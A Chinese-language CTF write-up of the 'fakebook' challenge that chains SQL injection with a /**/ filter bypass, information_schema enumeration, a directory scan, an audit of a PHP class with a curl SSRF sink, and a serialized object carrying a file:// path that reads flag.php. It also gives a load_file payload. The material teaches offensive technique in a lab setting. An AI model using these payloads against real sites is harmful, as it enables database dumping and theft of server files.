这里说一下 这题较为综合 涉及了SQL注入以及SSRF和反序列化 这三个点不了解的伙伴们需要去自己学习一下相应的知识点 对了还有工具的使用。ctf中扫目录的脚本
SQL注入
打开网址只显示了一个注册和登录按钮 别的没了
我们这里注册一下 需要注意的是 blog这个点很重要 刚开始直接输入了123 提示无效不合法 这里就测试了一下百度 就不报错了 猜测服务端那边做了过滤验证吧
点击用户名进入后一顿尝试 发现 页面源代码有ssrf 的点 (多看页面源代码 说不定有信息)
查看页面源代码发现存在如下点 单击后发现为百度的前端
单击后的效果
这里就知道了 这里存在SSRF 扒取了百度的前端 (这个点我们后面会用到)
那么我们就可以利用这点来进行读取服务端的flag 尝试file协议试试看
重新回到注册页面在blog处进行file协议的注册发现提示无效 这里就没有什么办法了 看来服务端做了过滤 不能使用file协议(至少在注册这个页面下)
回到我们用户名的页面再看看有什么信息提示
发现url存在参数传参 这里试下注入
发现存在注入 是纯数字型注入 这里就不演示过程了 但是注意这里有过滤 当服务端匹配到 union select 就会回显 no hacker
猜测服务端做了校验 union select 两个联合出现时就会回显 no hacker 这里我们使用内联注释符绕过也即是/**/ (这里需要大家自己去试了 fuzz就行)SQL注入绕waf嘛 就这样 一次次试就好
exp给到大家
-2 union/**/select 1,database(),3,4-- -
-2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- -
-2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'-- -
注意当爆到列时就有信息提示了 页面如下
像no,username,passwd这种我们其实不用爆了 就是我们注册的 没有必要
而这些USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS是数据库中的别的字段 可能并不是这个数据库的 只是这些字段上面是users表
这里我们可以加一个判断条件 只要我们当前网页所在的数据库
-2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'-- - 是我们加的判断条件
这里注入后就回显了当前数据库的信息了
根据上面的所述 这里我们爆data字段
爆出来的是一个序列化的字符串 (这里我注册了两个用户 所以有两)
至此 我们需要去找反序列化的点了 试了一顿操作 无果
反序列化以及脚本使用
看看有没有什么目录 使用脚本跑一跑看看(这里建议 网站拿到没思路时都可以尝试扫目录 信息收集嘛) 脚本链接如下
https://github.com/kingkaki/ctf-wscan
扫描结果如下
这里429是靶场的原因 正常的ctf比赛不会这样
访问扫到的bak文件 tion我也不知道什么原因在后缀里 知道的伙伴们可以评论区留言
访问后下载了一个代码 进行代码审计
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
果不其然 blog做了过滤 其中也有SSRF明显的代码
这里我们就使用反序列化了 反序列化的知识点大家自行了解
下面就贴一下基础的反序列化的知识点
大家自行了解 这只是基础概念
我们进行构造反序列化代码 代码如下
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
echo serialize($a);
解释一下为什么flag在这个目录下 因为我们在注入的时候网页就已经给你提示了 当前的目录在哪里 当然也可以尝试在根目录下进行读取 这个大家自己尝试
所以我们就在当前的目录进行使用file协议读文件 所以路径为代码中的那个路径 进行序列化操作 如下所示
O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
这时候我们就需要想如何将其打入了
实现SSRF读取flag
这里通过注入点来进行打入 因为这是我们可以控制的点 ctf中 我们需要多留意我们可控的点
根据之前的blog存在SSRF(解释在上面) 我们判断只要在blog所在的位置进行打入就可以实现我们需要的效果了
这里unionselect有4列 我们猜想 这四列对应的是什么 根据我们注册后的页面查看
极有可能就是 id 用户名 年龄 和博客 分别对应1 2 3 4 我们尝试一下
既然博客处存在SSRF 我们就在博客处进行打入 注意用引号包裹 将其作为字符串(字节序列)打入 实现反序列化
查看源码
点击即出现flag
这里也有第二种方法 直接使用load_file函数进行读取这个函数的使用有前提条件 不是可以随便使用就成功的 大家可以自己去看下条件
(这个方法较为简单 但是没有上面的方法综合 建议使用第一种方法)
payload如下
-2 union/**/select 1,load_file('/var/www/html/flag.php'),3,4-- -
右击查看源码即可